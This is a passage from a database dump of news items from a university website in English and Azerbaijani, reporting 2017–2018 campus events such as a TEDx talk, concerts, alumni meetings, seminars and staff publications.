href=\"http://www.sherg.az/site/id-31114/\">http://www.sherg.az/site/id-31114/</a></p>'),(3766,2173,'en','TEDxKhazarUniversity Event Held at Khazar University','On May 13, 2017, a conference TEDxKhazarUniversity (‘Thinking Deeply’) was held at Khazar University. Speeches on different topics were delivered in the conference...','<p>On May 13, 2017, a conference\r\nTEDxKhazarUniversity (‘Thinking Deeply’) was held at Khazar University.\r\nSpeeches on different topics were delivered in the conference.&nbsp; </p>\r\n<p>Hamlet Isakhanli, Founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, told the\r\nstory of his dreams` becoming true and &nbsp;Khazar&nbsp;University`s instructor &nbsp;Fuad Rasulov\r\nspoke about the ways of spending money. Samir Imanov, a writer, gave\r\ninformation about how he achieved success just with his one finger and Gismet\r\nRustemov, a poet and literary critic, spoke about the influence of literature on\r\nthe world. Jestin Baby Mandumpal, Khazarv University`s instructor, emphasized\r\nthe role of water in the life of people and Rashad Bayramov, a trainer, spoke\r\nabout the role of emotional intellect in career. Trainer Murad Mammadov stated\r\nthat it is possible to enjoy while thinking and trainer Dashgin Hamidzadeh\r\nfocused on the importance of people`s determining the right route for\r\nthemselves. Khazar University`s student Erlan Ismayilov spoke about the\r\nformation of outlook. </p>\r\n<p>“Note Done Yet” music group and\r\nMahsati Jabbarlı performed in the event.</p>'),(3767,2179,'en','Concert of the Iranian drum ensemble at Khazar University','On May 15, 2017,  the concert of the “Shalu” drum ensemble from the province of Bushehr, Iran, took place in the Marble Hall of Kazar University with the organization of  the Cultural...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">On May 15, 2017, &nbsp;the concert of the “Shalu” drum ensemble from\r\nthe province of Bushehr, Iran, took place in the Marble Hall of Kazar\r\nUniversity with the organization of&nbsp; the\r\nCultural Centre of Iran and Khazar University.Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, the\r\nadministration of the university, staff members of the university, students,\r\nguests from Iran-&nbsp; Asgar Farsi, the\r\nDirector of the Cultural Centre of Iran and his deputy Alireza Behbudi\r\nparticipated at the concert.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Before the concert,Dr. Hasan Niknafs, President of the\r\nUniversity, spoke and greeted the guests. Asgar Farsi, the Director of the Cultural\r\nCentre of Iran gave brief information about the music culture of Iran and emphasized\r\nthe importance of the culture on the creation and development of international\r\nrelations.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Later, the “Shalu” ensemble started their\r\nperformance and demonstrated its mastery. At the end of the concert greeted with\r\ngreat interest and applauses , Dr. Hasan Niknafs, President of the University, expressed\r\nhis gratitude to the Cultural Centre of Iran and the “Shalu” enseble for the\r\norganization of the concert.</p>'),(3768,2191,'en','“Dialect Festival” Held at Khazar University','On May 17, 2017, “Dialectic Festival” was held in the “Marble” hall of Khazar Unversity. The event was organized within the framework of open lesson program on the subject...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nMay 17, 2017, “Dialectic&nbsp;Festival” was held in the “Marble” hall of Khazar\r\nUnversity. The event was organized within the framework of open lesson program\r\non the subject “Introduction to&nbsp;\r\nDialectology” of Ilahe Gurbanova, PhD in philology, instructor of the\r\ndepartment of Azerbaijani Language and Literature. East, North, West, South, as\r\nwell as Lenkeran dialect groups were represented in the festival. After opening\r\nspeech of Ilahe Gurbanova, students representing each group delivered speeches,\r\nperformed small scenes and showed videos reflecting the characteristics of\r\ndialects&nbsp;and accents of Azerbajani language. They &nbsp;demonstrated samples from customs and\r\ntraditions and cuisine of each dialect . In the event hosted by H. Bashirova\r\nEast group was represented by M.Huseynova, F.İsgenderova, S.Mahmudzadeh, S.Aliyeva,\r\nU.Abıshova, A.Gadirova and Lenkeran   group was represented by T.Ibrahimova. &nbsp;M.Mammadova, F.Gaziyeva, N.Babazadeh\r\nrepresented North group and H.Bashirli, N.Mohubbetli, G.Hasanova, N.Mastaliyeva,\r\nA.Omerova, Z.Aliyeva represented West group. South group representers were J. Mammadov,\r\nM.İmanlı, U.Calalova, G.Dunyamalıyeva. </p>\r\n<p>At the\r\nend of the event, Hamlet Isakhanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, made a speech and gave some\r\ninteresting suggestions. He expressed his gratitude to the organizers of the\r\nevent.</p>'),(3769,2171,'en','Second Part of Interview with  Professor Hamlet Isakhanli “Knowledge of Polymath and its practical results” in \"525th newspaper\"','As it was reported, the interview of Waqas Ahmad with Hamlet Isakhanli, Founder of Khazar University, Chairman of its Broad of Directors and Trustees,  entitled “Knowledge of...','<p>As it\r\nwas reported, the interview of Waqas Ahmad with Hamlet Isakhanli, Founder of\r\nKhazar University, Chairman of its Broad of Directors and Trustees, &nbsp;entitled “Knowledge of Polymath and its\r\npractical results” was published part by part in \"525th\r\nnewspaper\" starting &nbsp;from\r\nApril 29th, 2017.</p>\r\n<p>The second part of the interview\r\nwas published in May 6, 2017 edition of the newspaper.</p>\r\n<p>The mentioned part is\r\navailable at the following link:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=78811\">http://525.az/site/?name=xeber&amp;news_id=78811</a> </p>'),(3770,2185,'en',' Workshop on “Improving Relations among School, Student and Parent” at School № 232','On May 11, 2017, Raziya Isayeva, Development Director at khazar University,  participated in a workshop entitled “Improving Relations among School, Student and Parent” held at school...','<p>On May\r\n11, 2017, Raziya Isayeva, Development Director at khazar University, &nbsp;participated in a workshop entitled “Improving\r\nRelations among School, Student and Parent” held at school № 232. Raziya\r\nIsayeva, who was invited to the workshop as a lecturer by the director of the\r\nschool Mahluga Azizova, delivered a presentation on the topic. Along with\r\nparents, teaching staff and students of the school took part in the event as\r\nwell. Her presentation was greeted with great interest and questions of the\r\nparticipants were answered. </p>\r\n<p>It\r\nshould be noted that Mahluga Azizova graduated from the Training Course for\r\nPotential School Directors at Khazar University.</p>'),(3771,2181,'en','Meeting with Alumni 1996-1997','On 15 May, 2017, a meeting with 1996-1997 alumni of Khazar University was held at the university.  Baba Bayramli, Director of Alumni Relations Centre, greeted alumni and...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On 15 May, 2017, a meeting with 1996-1997 alumni of\r\nKhazar University was held at the university. &nbsp;Baba Bayramli, Director of Alumni Relations\r\nCentre, greeted alumni and gave information about the objectives and\r\nexpectations of the meeting. Later, Dr. Hassan Niknafs, Rector of Khazar University,\r\nnoted the importance of establishing close relations between university and\r\nalumni and expressed hope that such alumni cooperation will have successful\r\noutcomes. Professor Mohammad Nuriyev who expressed his pleasure of meeting with\r\nhis former students encouraged alumni to participate actively in the university\r\nlife and noted that publishing series of articles about their successes on “Khazar\r\nReview” will be very interesting and useful for students. Ramal Ahmadov, Vice-President\r\nof Khazar University Alumni Association gave information about activity of the\r\norganization and invited alumni to join the association and become members. Graduates\r\nAzer Gasimov, Finance Manager of “BP- Azerbaijan” company, Mirbaghir\r\nMirbabayev, Branch Manager of “Pasha Holding”, Anar Karimov, Head of the Delegation\r\nof Hungarian Chamber of Commerce to Azerbaijan and Georgia, Aydin Babayev, Executive\r\nDirector of \"Marketsaz\" company, Murad Aslanov, &nbsp;Branch Manager of<strong> </strong>\"Aristocrat\" tourism company, Namig Ibrahimov, Deputy\r\nDirector of the Social Development Fund for IDPs of the Azerbaijan Republic,\r\nRufat Mahmud, &nbsp;Chairman of the Board of\r\nTrustees of the Public Association for ARPA, Yusif Hajiyev, Director of \"Barama\r\nKM\" company, Yusif Mammadli, &nbsp;representative of \"Bioworks company on\r\nCaspian region, Khaled Ajalov, &nbsp;Financial\r\nChief &nbsp;of \"Nort West\r\nConstruction\" company, Kamran Iskandarov, &nbsp;Sales Manager of \"SOLUS Ltd.\" company,\r\nSamir Nuriyev, Manager of \"Real LLC\" company, Kamran Behbudov,\r\nExecutive Director of \"Azintellectservis\" company, Eldar Latifov, &nbsp;Manager of \"Ship Rock LLC\" company and\r\nYashar Iskandarov, &nbsp;Founder and Director of\r\n\"GABEG Ltd\" company made speeches and expressed their pleasure of attending\r\nsuch a meeting and emphasized the importance of &nbsp;organizing such kind of meetings regularly and\r\nestablishing closer relationships with the university.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Roza Arazova, Head of\r\nthe Department of History and Archeology, Firangiz Nasirova, Senior Instructor\r\nof the Department of English Language and Literature, Lyudmila Sotova, Director\r\nof Quality Assurance Center and Jeyhun Mammedov, Dean of the School of\r\nEconomics and Management, were among the participants of the meeting as well.</p>'),(4300,2538,'en','An article by a member of School of Humanities and Social Sciences published','A research paper ‘Psychological effects of art on human and its importance in education’ produced by...','<p>A research paper ‘Psychological effects of art on human and its importance in education’ produced by Melek Karimova, dean’s assistant of the School of Humanities and Social Sciences, Head of ‘Khazar’ Psychological Service Center, has been published, in the Russian version, in the 2nd issue (187), 20th edition of the \"Language and Culture\" journal of Kiev State University named after Taras Shevchenko. (ISSN 2522-493X,UDK 821.01.00). The article has been published by Dmitri Burago Publishing House.</p><p>The article outlines the impact of art on the human psyche on the basis of research and emphasizes the importance of using various types of art in learning. The positive impact of the development of aesthetic taste is highlighted and some suggestions are proposed.</p><p>The article can be read through this link:</p><p><a href=\"http://www.burago.com.ua/attachments/article/1580/187.pdf\">http://www.burago.com.ua/attachments/article/1580/187.pdf</a>.<br></p>'),(4764,2777,'en','KPMG held a seminar','KPMG held a seminar on December 22, 2017, on initiative of Career Centre of Khazar University...','<p>KPMG held a seminar on December 22, 2017, on initiative of Career Centre of Khazar University.</p><p>Karim Daiyev, an expert of Department of audit and security, gave information on the importance of audit. Sona Gurbanova, talked about assessment, combination and acquisition, and finance. Zahra Imranova provided the participants with information about operation services. Later, graduates of Khazar University, Aslan Bagirov (department of taxes) and Aysel Balakishiyeva (division of law) delivered speeches.</p><p>KPMG experts answered students’ questions and also gave recommendations on their future career.</p>'),(4148,2428,'az','Potensial məktəb direktorlarının növbəti kursunu bitirənlərə sertifikat təqdim olundu ','2017-ci il sentyabrın 19-da Xəzər Universitetinin Mərmər zalında universitetin layihəsi olan Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə  təlimin növbəti...','<p>2017-ci il sentyabrın 19-da Xəzər Universitetinin Mərmər\r\nzalında universitetin layihəsi olan Potensial məktəb direktorlarına məktəbin\r\nidarə edilməsi üzrə&nbsp; təlimin növbəti –\r\nmay-iyul aylarında keçirilmiş &nbsp;kursunu\r\nbitirən 23 məzuna sertifikatların təqdim olunması mərasimi keçirildi. Qeyd edək ki, bu&nbsp;təlim&nbsp;kursu cari tədris ilində də\r\nişini davam etdirəcəkdir.&nbsp; <strong></strong></p>\r\n<p>Təlimin&nbsp;əsas məqsədi\r\nölkədəki yeni təhsil strategiyasına və təhsil islahatına uyğun olaraq rəhbər\r\nişdə fəaliyyət göstərmək istəyən təhsil işçilərinin bilik və bacarıqlarını\r\nartırmaq, onları dünyadakı&nbsp;səmərəli idarəetmə\r\ntəcrübəsi ilə tanış etməkdir. </p>\r\n<p>Təlimlər zamanı kursun məşğələlərində mühazirələr dinlənilmiş,\r\niştirakçıların təqdimatları olmuş, müzakirələr aparılmış, söhbətlər\r\nkeçirilmişdir. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:-42.55pt;text-indent:42.55pt;background:white\"\"=\"\">Qeyd edək ki, indiyə qədər layihə çərçivəsində 468 nəfər\r\ntəlimdən keçmiş, onlardan 50 nəfərdən&nbsp;çoxu (bu rəqəm müntəzəm artır)<strong>&nbsp;</strong>direktor və ya direktor\r\nmüavini vəzifəsinə təyinat\r\nalmışdır.</p>\r\n<p>Mərasimdə Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor&nbsp;Hamlet İsaxanlı geniş çıxış etdi. O, kursun əhəmiyyətindən danışaraq, məzunlara\r\nəldə etdikləri nəzəri və &nbsp;təcrübi bilikləri öz işlərində uğurla tətbiq etmək\r\nüçün tövsiyələrini bildirdi.</p>\r\n<p>Sonra məzunlara&nbsp; sertifikatların təqdim olunması mərasimi başlandı.\r\nSertifikatları professor Hamlet İsaxanlı, universitetin rektoru Dr. Hassan\r\nNiknafs təqdim etdilər. Xatirə şəkilləri çəkildi.</p>\r\n<p>Sertifikatların&nbsp;təqdim&nbsp;olunması başa çatdıqdansonra çıxış\r\nedən&nbsp;Dr. Hassan&nbsp;Niknafs&nbsp;məzunları təbrik&nbsp;etdi, onlara&nbsp;mühüm&nbsp;işlərində uğurlar arzuladı.</p>\r\n<p>Kursu bitirənlər adından&nbsp; Zemfira Məsiyeva çıxış edərək, kursun yüksək\r\nsəviyyədə təşkilinə görə Xəzər Universitetinin rəhbərliyinə, layihə rəhbəri – universitetin\r\nİnkişaf mərkəzinin direktoru Raziyə İsayevaya, layihə koordinatoru – Təhsil\r\nfakültəsinin dekanı Elza Səmədovaya və müəllimlərə təşəkkürünü bildirdi.</p>\r\n<p>Mərasim iştirakçılarına Xəzər Universitetinin\r\nMusiqi və incəsənət departamentinin hazırladığı konsert proqramı təqdim olundu.&nbsp;</p>'),(4195,2414,'en','The Library-Information Center conducted a training on electronic services','On September 14, 2017, the Library-Information Center, Khazar University, conducted training on e-services for its employees...','<p>On September 14, 2017, the Library-Information Center, Khazar University, conducted training on e-services for its employees. The training was aimed at promoting more effective service methods of Library and Information Center for the students and teachers in the new academic year.</p><p>In the training, Samira Orujova made a presentation on \"How to use electronic sources in Marc format\" and \"Search Methods in Electronic Catalogue\" and Aytac Misjarli delivered a presentation entitled \"Rules of using electronic sources\".</p>'),(6052,3454,'az','PROMIG layihəsi çərçivəsində konfrans olacaq','2018-ci il oktyabrın 19-da Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi”...','<p>2018-ci il oktyabrın 19-da Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində Xəzər Universitetində İqtisadiyyat və menecment fakültəsinin və İnkişaf Mərkəzinin təşkilatçılığı ilə “<strong><em>Miqrasiya və Davamlı İnkişaf</em></strong>” mövzusunda bir günlük məlumatlandırıcı konfrans keçiriləcək. Konfransda Xəzər Universiteti və Bakı Mühəndislik Universitetinin müəllimləri və tələbələri, Beynəlxalq Miqrasiya Təşkilatının Azərbaycan nümayəndəliyinin mütəxəssisləri təqdimatlarla çıxış edəcək və miqrasiya sahəsində apardıqları tədqiqatların nəticələrini iştirakçılarla bölüşəcəklər.</p><p>Tədbir layihədə həyata keçirilmiş işlərin geniş ictimaiyyətə çatdırılması məqsədini daşıyır. Adıçəkilən konfransda hazırda Xəzər Universitetinin tərəfdaş olduğu digər iki Erasmus+ layihələri haqqında da məlumat veriləcək.</p>  \r\n<p><a href=\"/files/events/pawer-poster.jpg\"></a><a href=\"/files/events/pawer-poster.jpg\" target=\"_blank\"><img src=\"/files/events/pawer-poster.jpg\" style=\"width:200px;height:465px\"></a> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<a href=\"/files/events/migration-poster.jpg\" target=\"_blank\"><img src=\"/files/events/migration-poster.jpg\" style=\"width:200px;height:476px\"></a>&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<a href=\"/files/events/intercultural-poster.jpg\" target=\"_blank\"></a><a href=\"/files/events/intercultural-poster.jpg\" target=\"_blank\"><img src=\"/files/events/intercultural-poster.jpg\" style=\"width:200px;height:465px\"></a></p>'),(4193,2420,'en','A meeting with first year students majoring in History','On September 15, 2017, a meeting with the first year students majoring in History, organized by the Department of History...','<p>On September 15, 2017, a meeting with the first year students majoring in History, organized by the Department of History and Archeology, was held. The meeting was attended by Roza Arazova, Head of the Department of History and Archeology, Akifha Jafarli, Assistant of the Department, senior students and graduates. The meeting began with the speech delivered by Roza Arazova. She told the students about the history of Khazar University and gave her advice.</p><p>Ilaha Yusifli, Samid Akhundov and Rufat Khalilov, the 4th year students, gave information about Khazar University by making presentations and answered many questions of the new students.</p><p>Then, a slideshow of photos of the students majoring in History, meetings and visits, organized by the Department of History and Archeology, was demonstrated.</p><p>The students, who are going to graduate, talked about their dreams and congratulated their followers, the 1st year students.</p><p>Finally, the students were given their student cards and they were given an excursion around the university.</p>'),(4763,2756,'en','A lecture on “Economic reforms in Azerbaijan”','A public lecture on “Economic reforms in Azerbaijan”, with joint initiative of Faculty of Economy and Management of Khazar University...','<p>A public lecture on “Economic reforms in Azerbaijan”, with joint initiative of Faculty of Economy and Management of Khazar University and Center for Economic Reforms Analysis and Communication, was held in Marble hall of university on December 19, 2017. The aim of the public lecture was to inform academics about the economic reforms in Azerbaijan.</p><p>Dr. Jeyhun Mammadov, Dean of the Faculty of Economy and Management, opened the event. He stressed that strategic road maps have a huge impact on development of non-oil sector and diversification of export as well as development of human capital, and it is important that the youth should be educated on reform process.</p><p>Dr. Hassan Niknafs, Rector of Khazar University, greeted the participants and talked about contribution of non-oil sector to sustainable economic development.</p><p>Prof. Mahammad Nuriyev, Vice-rector for Academic Affairs of Khazar University, mentioned that strategic road maps helped Azerbaijan keep its economic development stable in a global economic crisis, and added that special attention should be given to knowledge and human capital in the course of reforms.</p><p>Dr.&nbsp;Vusal Gasimli, Executive Director of Center for Economic Reforms Analysis and Communication, exchanged ideas with faculty staff and students on strategic road maps, approved with Decree “On Strategic Road Map on National Economy and Key Sectors” by Ilham Aliyev, President of the Republic of Azerbaijan, December 6, 2016.</p><p>The event was also covered by media:</p><p><a href=\"https://azertag.az/xeber/Vusal_Qasimli_Azerbaycanda_2017_ci_il_sabitlesme_2018_ci_il_ise_iqtisadi_inkisaf_ili_kimi_tarixe_dusecek-1122236/\">https://azertag.az/xeber/Vusal_Qasimli_Azerbaycanda_2017_ci_il_sabitlesme_2018_ci_il_ise-iqtisadi_inkisaf_ili_kimi_tarixe_dusecek-1122236/</a>.  <br></p>'),(4149,2429,'az','Xəzər Universitetinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin əməkdaşı Rasoul Moradinin məqaləsi “Chemical Engineering” jurnalında çap olunmuşdur...','<p>Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin\r\nəməkdaşı Rasoul Moradinin məqaləsi “<em>Chemical\r\nEngineering</em>” jurnalında çap olunmuşdur.</p>\r\n<p>Məqaləni bu link vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://www.sciencedirect.com/science/article/pii/S0009250917305808\">http://www.sciencedirect.com/science/article/pii/S0009250917305808</a>.</p>'),(3772,2198,'az','“Dialekt festivalı” mediada işıqlandırıldı','Xəbər verildiyi kimi, 2017-ci il mayın 17-də Xəzər Universitəsinin “Mərmər” zalında Azərbaycan dili və ədəbiyyatı departamentinin müəllimi, filologiya üzrə fəlsəfə doktoru...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəbər verildiyi kimi, 2017-ci il mayın 17-də Xəzər Universitəsinin “Mərmər”\r\nzalında Azərbaycan dili və ədəbiyyatı departamentinin müəllimi, filologiya üzrə\r\nfəlsəfə doktoru İlahə Qurbanovanın “ Dialektologiyaya giriş” fənni üzrə açıq dərs\r\nproqramına daxil olan “Dialekt&nbsp;festivalı” keçirilmişdir. Bir sıra media\r\norqanları tədbir haqqında məlumat yaymışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbir haqqında mətbuatdan məlumat almaq istəyənlər bu linklərə\r\nmüraciət edə bilərlər:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xeber365.com/haber-x-z-r-universitetind-dialekt-festivali-kecirilib---ilk-d-f-7559.html\">http://xeber365.com/haber-x-z-r-universitetind-dialekt-festivali-kecirilib---ilk-d-f-7559.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://axar.az/news/hadise/174174.html\">http://axar.az/news/hadise/174174.html</a>.</p>'),(3773,2199,'az','Psixologiya departamentinin magistrları dissertasiya müdafiə etdilər','2017-ci il mayın 18-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin magistrları aşağıdakı mövzularda dissertasiya müdafiə etdilər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2017-ci il mayın 18-də\r\nXəzər Universiteti Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin\r\nmagistrları aşağıdakı mövzularda dissertasiya müdafiə etdilər: Günay Məmmədova\r\n– “Ağır psixi pozuntusu olan xəstələrin psixososial reabilitasiyasının\r\nqiymətləndirilməsi” (elmi rəhbər: tibb\r\ne.f.d. Fuad İsmayılov); Günel Məmmədova – “Natamam ailələrdə böyüyən\r\nyeniyetmələrdə şəxsiyyət pozuntuları problemi və onların reabilitasiya\r\nməsələləri” (elmi rəhbər: fəl.e.f.d.\r\nEldar Shahgaldiyev); Tərlan\r\nQənbərova – “Autizimli uşaqların valideynlərində rast gəlinən psixopotoloji\r\nxüsusiyyətlərin aşkarlanması və eksperimental tədqiqi” (elmi rəhbər: tibb e.ü.f.d. İkram Rüstəmov). Müdafiədə Şurasının sədri\r\nfəl.ü.f.d. Eldar Şahgəldiyev, üzvləri olaraq hüquq ü.f.d., dos. Cabir Xəlilov, AR-nın\r\nƏdliyyə Nazirliyi Penitensiar xidmətinin aparıcı psixoloqu, psixologiya ü.f.d.\r\nLəman Verdiyeva, Humanitar və sosial elmlər fakültəsinin dekan müavini, sosial\r\nfəlsəfə üzrə doktorant Mələk Kərimova,\r\nTibb Universiteti psixiatriya kafedrasının assistenti, ATU-nun Tədris\r\nterapevtik klinikası Uşaq Psixi Sağlamlıq və İnkişaf Mərkəzində aparıcı\r\nmütəxəssis tibb e.ü.f.d. İkram Rüstəmov və şuranın elmi\r\nkatibi Humanitar və sosial elmlər fakültəsinin dekan köməkçisi, german dilləri\r\nüzrə doktorant Validə Kərimova iştirak etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">İşlər Müdafiə Şurası\r\ntərəfindən müsbət qiymətləndirildi.</p>'),(3774,2200,'az','Xəzər Universitetinin əməkdaşının doktorluq dissertasiyasının müzakirəsi keçirildi ','2017-ci il mayın 19-da Xəzər Universitetinin əməkdaşı, AMEA Fəlsəfə İnstitutunun doktorantı Cabir Oruc oğlu Məmmədovun “Estetikada faciəvilik problemi” mövzusunda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 19-da Xəzər Universitetinin əməkdaşı, AMEA Fəlsəfə İnstitutunun\r\ndoktorantı Cabir Oruc oğlu Məmmədovun “Estetikada faciəvilik problemi”\r\nmövzusunda (İxtisas: 7211.01–Estetika) yazdığı fəlsəfə üzrə fəlsəfə doktorluğu\r\ndissertasiyasının ilkin müzakirəsi keçirildi. İclasa sədrliyi Fəlsəfə\r\nİnstitutunun direktoru fəlsəfə üzrə elmlər doktoru, professor İlham Məmmədzadə\r\nedirdi.</p>'),(4234,2494,'az','Xəbər və Elan','Xəbər və Elan','<p>05&nbsp;Mart 2018  <br></p><h3>İqtisadiyyat və menecment\r\nfakültəsində dokturantura tələbələrinin növbəti elmi seminarı təşkil olundu</h3><p>&nbsp;2018-ci il\r\nmartın 5-də Xəzər Universitetinin İqtisadiyyat və menecment fakültəsində\r\ndokturantura tələbələrinin növbəti elmi seminarı baş tutdu. Seminarın təşkil\r\nolunmasının başlıca məqsədi Ph.D. tələbələrinin apardıqları tədqiqatların\r\nnəticələrini və tədqiqatçıların təkliflərini universitet əməkdaşları ilə\r\nbölüşmək və nəticələri müzakirə etmək idi. Tədbirdə fakültənin dokturantları\r\ntərəfindən “Səhiyyə müəssisələrində insan resurslarının idarə edilməsi mexanizminin\r\ntəkmilləşdirilməsi”, “Xəzər regionu ölkələrinin Aİ qaz təchizatı\r\ntəhlükəsizliyinə təsirinin qiymətləndirilməsi” və “İqtisadi inkişaf və\r\nəməkdaşlıq perspektivləri: Xəzər regionu ölkələri” mövzularında təqdimatlar\r\noldu.</p><p>\r\nFaktültə\r\nəməkdaşları Ph.D. tələbələrinin işlərinə rəylərini bildirməklə yanaşı, onlara tədqiqatlarında\r\nsistemli və ardıcıl irəliləyişlər əldə etmələri üçün motivasiya verdilər.</p>  <table rules=\"none\" style=\"width:674px;height:554px;background-color:#ffffff;border:0px solid #ffffff\"><tbody><tr><td><img src=\"http://www.khazar.org/files/economics/o_1c808o9je1hi81lrvogl1tb978oi.JPG\" style=\"border:0px #252525;width:200px;height:160px;margin:7px;vertical-align:baseline\">&nbsp;</td><td><img src=\"http://www.khazar.org/files/economics/o_1c808o9je1jn8j5i1cp7o341gamo.JPG\" style=\"border:0px #252525;width:200px;height:160px;margin:7px;vertical-align:baseline\">&nbsp;</td><td><img src=\"http://www.khazar.org/files/economics/o_1c808o9je3t4ioolgna1j1q1uj.JPG\" style=\"width:200px;height:160px;margin:7px\">&nbsp;</td></tr><tr><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jedfvptfi8f17b14n1n.JPG\" style=\"width:200px;height:160px;margin:7px\"></td><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jeark1ibg1dj61qn51feik.JPG\" style=\"border:0px #252525;width:200px;height:160px;margin:7px\"></td><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jebta1muqpur1u1nm1tl.JPG\" style=\"width:200px;height:160px;margin:7px\"></td></tr><tr><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jer7tbolcdq1nh8l9sm.JPG\" style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;width:200px;height:160px;margin:7px\"></td><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9je4td16cnn1u1iin1r7hh.JPG\" style=\"width:200px;height:160px;margin:7px\"></td><td>&nbsp;</td></tr></tbody></table> <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><br></p><p>02 Mart 2018</p><h3><strong style=\"text-align:center;text-indent:0.25in\">İqtisadiyyat və menecment fakültəsi elmi seminar (doktorluq)\r\nkeçirəcək</strong></h3>\r\n<p>2018-ci\r\nil martın 5-i saat\r\n15:30-da Xəzər Universiteti İqtisadiyyat və menecment\r\nfakültəsi elmi seminar (doktorluq)<strong> </strong>keçirəcək.&nbsp;Seminar\r\nuniversitetin köhnə binasında\r\n(otaq 314) baş tutacaq. Seminarın məqsədi\r\nfakültənin doktorantura tələbələrini bir araya gətirmək, aparmış olduqları\r\nelmi-tətqiqat işləri ilə əlaqəli həmkarları və universitetin akademik əməkdaşları\r\nilə birgə müzakirə imkanı yaratmaq, bilik və təcrübə mübadiləsi aparmaqdır.&nbsp;</p><p>Maraqlanan hər kəs seminarda iştirak edə bilər.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p>19 Dekabr 2017  <br><span style=\"background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:24px\"></span></p><h3>\"Azərbaycanda iqtisadi islahatlar\" mövzusunda mühazirə təşkil edildi</h3><p>2017-ci il dekabr 19-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsi və İqtisadi İslahatların Təhlili və Kommunikasiya Mərkəzinin birgə təşəbbüsü ilə universitetin “Mərmər” zalında “Azərbaycanda iqtisadi islahatlar” mövzusunda ictimai mühazirə təşkil edildi. İctimai mühazirənin məqsədi Azərbaycan Respublikasında həyata keçirilən iqtisadi islahatlar barədə akademik dairələri məlumatlandırmaq idi.</p><p>Tədbirin açılışını İqtisadiyyat və menecment fakültəsinin dekanı Dr. Ceyhun Məmmədov etdi. O, Azərbaycanda qeyri-neft sektorunun və ixracın şaxələnməsində, insan kapitalının inkişafında strateji yol xəritələrinin böyük rolu olduğunu və ölkədə aparılan islahat prosesi barədə gənclərin maariflənməsinin vacibliyini vurğuladı.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs iştirakçıları salamladı və davamlı iqtisadi inkişafa qeyri-neft sektorunun töhfəsindən danışdı.</p><p>Xəzər Universitetinin Akademik işlər üzrə prorektoru professor Məhəmməd Nuriyev isə strateji yol xəritələrinin qəbul edilməsinin və islahat prosesinə zamanında start verilməsinin Azərbaycanın dünyada cərəyan edən böhran vəziyyətindən sabit çıxmasına səbəb olmasını və islahat prosesində bilik və insan kapitalına xüsusi diqqətin yönəlməsini nəzərə çatdırdı.</p><p>İqtisadi İslahatların Təhlili və Kommunikasiya Mərkəzinin icraçı direktoru Dr. Vüsal Qasımlı Azərbaycan Respublikasının Prezidenti İlham Əliyevin 2016-ci il 6 dekabr tarixli “Milli iqtisadiyyat və iqtisadiyyatın əsas sektorları üzrə strateji yol xəritələrinin təsdiq edilməsi haqqında” Fərmanı ilə təsdiqlənən strateji yol xəritələri barədə professor-müəllim heyəti və tələbələrlə fikir mübadiləsi apardı.</p><p>Tədbir ictimai mediada da işıqlandırılmışdır:</p><p><a 